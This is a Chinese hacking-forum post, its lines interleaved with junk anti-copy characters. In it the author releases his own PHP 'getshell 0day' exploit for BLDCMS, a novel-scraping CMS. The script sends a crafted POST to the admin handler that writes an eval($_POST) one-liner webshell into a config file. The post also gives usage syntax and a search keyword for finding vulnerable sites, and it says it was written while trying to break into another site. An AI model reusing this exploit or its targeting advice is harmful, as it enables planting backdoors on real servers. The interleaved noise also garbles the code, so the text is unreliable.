之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
6 E) v0 E$ F7 H: G
7 J8 }; g, e9 q1 O! {: A 3 R1 P) z1 h7 d5 a
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
5 J- H$ H$ T$ u/ B' H1 |
2 T0 x7 S) _2 h J* i1 N- I3 f既然都有人发了 我就把我之前写好的EXP放出来吧( R( e4 e. @9 h' Q. ]+ n" i
. n C- t1 H6 |/ cview source print?01.php;">
! n, X( G3 ~+ t: u* b02.<!--?php
: C( k1 X7 D4 U8 @5 X03.echo "-------------------------------------------------------------------0 c) b4 B) U& [- a. j
04.
8 \+ U% u; ~; w05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
7 S' p5 W5 T- [1 A9 G, z# L5 q06. & s4 u% e, R1 s! J- u
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
) _8 ?0 i, d% x5 ~08.
7 u0 P% g1 ?# x; Y09.QQ:981009941\r\n 2013.3.21\r\n
+ f- H% G7 i1 `* g) v4 @10.
$ x: ? o0 R$ I1 F6 x% u7 [4 a6 y11.
1 x4 ]' ]" \4 ~: T6 U12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码5 `& F1 M9 O' a* k. u7 u
13. $ R& }" Y, P- ^4 v7 ~) `7 k* j
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
- ^( ^" x) E5 q( h15.
0 r0 M3 ]" l( J8 _9 E3 ^1 c16.--------------------------------------------------------------------\r\n";
$ d; h% |% ]; S" J( h: K17.$url=$argv[1];! N2 [6 C7 z8 B# X& ~! H/ ^* q
18.$dir=$argv[2];0 E3 h5 d# Y2 B% F' t& L/ n: C
19.$pass=$argv[3];
6 v: E& c5 L; y20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
$ Y8 Y+ g" B6 e8 L1 i' t21.if (emptyempty($pass)||emptyempty($url))
) I! ` S! O3 {* l, M22.{exit("请输入参数");}, B. J5 Q- w- C6 x( c- k
23.else) e" ~/ ^: S& A
24.{
) q+ _' T/ U0 g& q& e25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev) K m1 x6 `% B/ v3 _6 S9 X
26.
( l2 ^& \+ j5 b0 X. _27.al;# z: G' \% w S; }
28.$length = strlen($fuckdata);
; o2 }1 d% @& a! A- _29.function getshell($url,$pass)& b( t5 W6 L. H7 V
30.{1 Z0 [, f: Y! u0 t W& a2 _; i4 ?
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
* Q' Z, O5 v }7 d32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";6 E% g3 w, q3 {
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";+ V7 A+ r: N- z1 Z. c- N
34.$header .= "User-Agent: MSIE\r\n";
3 O) Z) U2 A- H* a' V4 d/ R35.$header .= "Host:".$url."\r\n";
' Y7 @/ u7 _- c6 U" o6 Q' `36.$header .= "Content-Length: ".$length."\r\n";
; [2 {! G5 ?2 ~; a& m37.$header .= "Connection: Close\r\n";: h/ p. ~) T. N% s
38.$header .="\r\n";! n; Y$ o: P9 @% m% h
39.$header .= $fuckdata."\r\n\r\n";
; L. o0 v; j ?40.$fp = fsockopen($url, 80,$errno,$errstr,15);# E9 a5 X7 |$ G$ g/ u" F9 Z
41.if (!$fp)
# R+ @0 `1 K; C8 O, v5 ^! [3 O; Z* H42.{* l$ W; |5 W* J8 Q7 ^
43.exit ("利用失败:请检查指定目标是否能正常打开");0 @. |5 B0 C* e4 ~6 ^
44.}
, }0 {5 W# ?! w+ x$ v45.else{ if (!fputs($fp,$header))# x" L5 @5 K2 S: [
46.{exit ("利用失败");}* d" W E6 i% }: ]9 h
47.else$ M k* V9 V7 H4 ]
48.{0 n1 \ d4 m* R
49.$receive = '';
; F& |1 ^: }5 Z7 H& v/ u W' z$ `50.while (!feof($fp)) {6 W1 V1 h. f, P/ \0 L7 u9 X4 L4 B
51.$receive .= @fgets($fp, 1000);& a8 a5 U' @* y# z
52.}9 O% g. j. [. c7 O
53.@fclose($fp);8 `. r1 h5 G% v9 t4 g9 q6 J2 c
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
5 q& D3 V- v4 Z2 L# _* @% v4 K* n55. " {- J* |/ {' {2 q
56.GPC是否=off)";4 I# z. w$ g2 J# U2 s) o
57.}}
/ u# m4 ~5 q$ {+ V, x58.}, a! {7 v* h( ]" @% E
59.}) ^6 s) t% Z v1 x# w: h( c
60.getshell($url,$pass);
) z- S" m) g( t61.?-->
1 f: N# E3 P, _- o3 P V9 S
' s4 {3 }4 R' `; ^7 T3 V: ]
+ J$ a* Z+ O+ Z# ~5 y: a/ Q
8 C6 e- w3 d" G# h$ rby 数据流0 G2 d7 j3 T& \! F
|